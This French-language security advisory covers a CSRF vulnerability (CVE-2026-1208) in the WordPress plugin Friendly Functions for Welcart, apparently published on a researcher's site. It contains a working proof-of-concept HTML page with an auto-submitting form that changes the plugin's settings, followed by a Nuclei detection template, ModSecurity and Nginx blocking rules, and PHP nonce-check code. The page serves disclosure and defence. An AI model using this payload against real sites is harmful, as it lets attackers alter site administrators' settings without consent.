
Friendly Functions for Welcart <= 1.2.5 - Falsification de requête intersite pour mise à jour des paramètres
Mots-clés : CVE-2026-1208, vulnérabilité Friendly Functions for Welcart, CSRF, falsification de requête intersite, sécurité WordPress, vulnérabilité de plugin WordPress, CWE-352, sécurité Welcart, manipulation des paramètres, WordPress CVE 2026
Vulnérabilité CSRF du plugin WordPress Friendly Functions for Welcart (CVE-2026-1208) - Défaut de sécurité permettant à des attaquants non authentifiés de modifier les paramètres du plugin via des requêtes forgées.
Une vulnérabilité de type falsification de requête intersite (CSRF) a été découverte dans le plugin Friendly Functions for Welcart ; elle permet à des attaquants non authentifiés de modifier les paramètres du plugin en trompant un administrateur pour qu'il clique sur un lien malveillant.
Découverte par : Kai Aizen (SnailSploit)
Publié : 23 janvier 2026
Score CVSS : 4.3 (Moyen)
CWE : CWE-352 - Falsification de requête intersite (CSRF)
Plugin : Friendly Functions for Welcart
Type d'attaque : Falsification de requête intersite vers mise à jour des paramètres
Privilèges requis : Aucun (attaque non authentifiée + ingénierie sociale)
Le plugin Friendly Functions for Welcart pour WordPress est vulnérable à une falsification de requête intersite dans toutes les versions jusqu'à la version 1.2.5 incluse. Cela est dû à une validation de nonce manquante ou incorrecte sur la page des paramètres. Ainsi, des attaquants non authentifiés peuvent modifier les paramètres du plugin via une requête forgée, à condition de pouvoir tromper un administrateur du site pour qu'il exécute une action telle que cliquer sur un lien.
Cette vulnérabilité permet à des attaquants non authentifiés de :
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
La vulnérabilité existe dans l'implémentation de la page des paramètres, où :
La vulnérabilité a été identifiée aux emplacements suivants :
ffw_function_settings.php - Ligne 53ffw_function_settings.php - Ligne 58L'attaque nécessite de l'ingénierie sociale pour tromper un administrateur authentifié afin qu'il visite une page malveillante ou clique sur un lien conçu à cet effet alors qu'il est connecté à son site WordPress.
Target: WordPress Admin with Friendly Functions for Welcart installed
Method: Malicious HTML page with auto-submitting form
Trigger: Administrator clicks link or visits attacker-controlled page
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-1208 - CSRF PoC</title>
</head>
<body>
<h1>Loading...</h1>
<form id="csrf-form" action="https://TARGET_SITE/wp-admin/admin.php?page=ffw-settings" method="POST">
<input type="hidden" name="ffw_setting_option" value="malicious_value" />
<!-- Add additional setting fields as needed -->
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
⚠️ Avertissement : Cette preuve de concept est fournie à des fins éducatives et de test autorisé uniquement.
# Check if vulnerable version is installed
wp plugin list | grep -i "friendly-functions-for-welcart"
# Get specific version
wp plugin get friendly-functions-for-welcart --field=version
Modèle Nuclei :
id: CVE-2026-1208
info:
name: Friendly Functions for Welcart - CSRF to Settings Update
author: SnailSploit
severity: medium
description: |
Friendly Functions for Welcart plugin for WordPress is vulnerable
to CSRF in versions <= 1.2.5 due to missing nonce validation.
reference:
- https://github.com/SnailSploit/CVE-2026-1208
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/friendly-functions-for-welcart/friendly-functions-for-welcart-125-cross-site-request-forgery-to-settings-update
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
cvss-score: 4.3
cve-id: CVE-2026-1208
cwe-id: CWE-352
tags: cve,cve2026,wordpress,wp-plugin,csrf,welcart
requests:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/friendly-functions-for-welcart/readme.txt"
matchers-condition: and
matchers:
- type: word
words:
- "Friendly Functions for Welcart"
- type: regex
regex:
- "(?i)Stable tag:\\s*(1\\.([0-1]\\.[0-9]|2\\.[0-5]))"
- type: status
status:
- 200
extractors:
- type: regex
name: version
group: 1
regex:
- "(?i)Stable tag:\\s*([0-9.]+)"
Règle ModSecurity :
# CVE-2026-1208 - Block CSRF attempts to FFW settings
SecRule REQUEST_URI "@contains /wp-admin/admin.php" \
"chain,id:2026001,phase:2,t:none,t:urlDecodeUni,\
log,deny,status:403,msg:'CVE-2026-1208 CSRF Attempt Blocked'"
SecRule ARGS:page "@streq ffw-settings" \
"chain"
SecRule &REQUEST_HEADERS:Referer "@eq 0"
# Alternative: Block if referer doesn't match site domain
SecRule REQUEST_URI "@contains /wp-admin/admin.php" \
"chain,id:2026002,phase:2,t:none,\
log,deny,status:403,msg:'CVE-2026-1208 Cross-Origin Request Blocked'"
SecRule ARGS:page "@streq ffw-settings" \
"chain"
SecRule REQUEST_HEADERS:Referer "!@contains yourdomain.com"
Règle Nginx :
# CVE-2026-1208 - CSRF Protection for FFW Settings
location /wp-admin/admin.php {
# Check for ffw-settings page without proper referer
if ($arg_page = "ffw-settings") {
set $csrf_check "1";
}
if ($http_referer !~ "^https?://(www\.)?yourdomain\.com") {
set $csrf_check "${csrf_check}1";
}
if ($csrf_check = "11") {
return 403;
}
# Pass to PHP handler
try_files $uri =404;
fastcgi_pass php-fpm;
include fastcgi_params;
}
Action immédiate requise :
Assurez-vous que tous les formulaires de paramètres implémentent une protection CSRF adéquate :
// Example of proper CSRF protection in WordPress
// In your form:
wp_nonce_field('ffw_settings_update', 'ffw_settings_nonce');
// In your form handler:
function process_settings_update() {
// Verify nonce
if (!isset($_POST['ffw_settings_nonce']) ||
!wp_verify_nonce($_POST['ffw_settings_nonce'], 'ffw_settings_update')) {
wp_die('Security check failed');
}
// Check capabilities
if (!current_user_can('manage_options')) {
wp_die('Unauthorized');
}
// Process settings update
// ...
}
Chercheur :
Processus de divulgation : Coordonné via le programme Bug Bounty de Wordfence
Ces informations sont fournies uniquement à des fins de recherche en sécurité et de défense. Toute exploitation de cette vulnérabilité à des fins malveillantes est illégale et contraire à l'éthique. Obtenez toujours une autorisation appropriée avant de tester des systèmes qui ne vous appartiennent pas.
Pour toute question ou information supplémentaire sur cette vulnérabilité :
Dernière mise à jour : 23 janvier 2026
Le rapport complet, la méthodologie et les recherches connexes de ce projet se trouvent sur :
https://snailsploit.com/security-research/cves/cve-2026-1208/
Créé par Kai Aizen — chercheur indépendant en sécurité offensive.
snailsploit.com · Recherche · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter
Même attaque. Substrat différent.
| Métrique | Valeur |
|---|
| Vecteur d'attaque | Réseau (AV:N) |
| Complexité de l'attaque | Faible (AC:L) |
| Privilèges requis | Aucun (PR:N) |
| Interaction de l'utilisateur | Requise (UI:R) |
| Périmètre | Inchangé (S:U) |
| Confidentialité | Aucune (C:N) |
| Intégrité | Faible (I:L) |
| Disponibilité | Aucune (A:N) |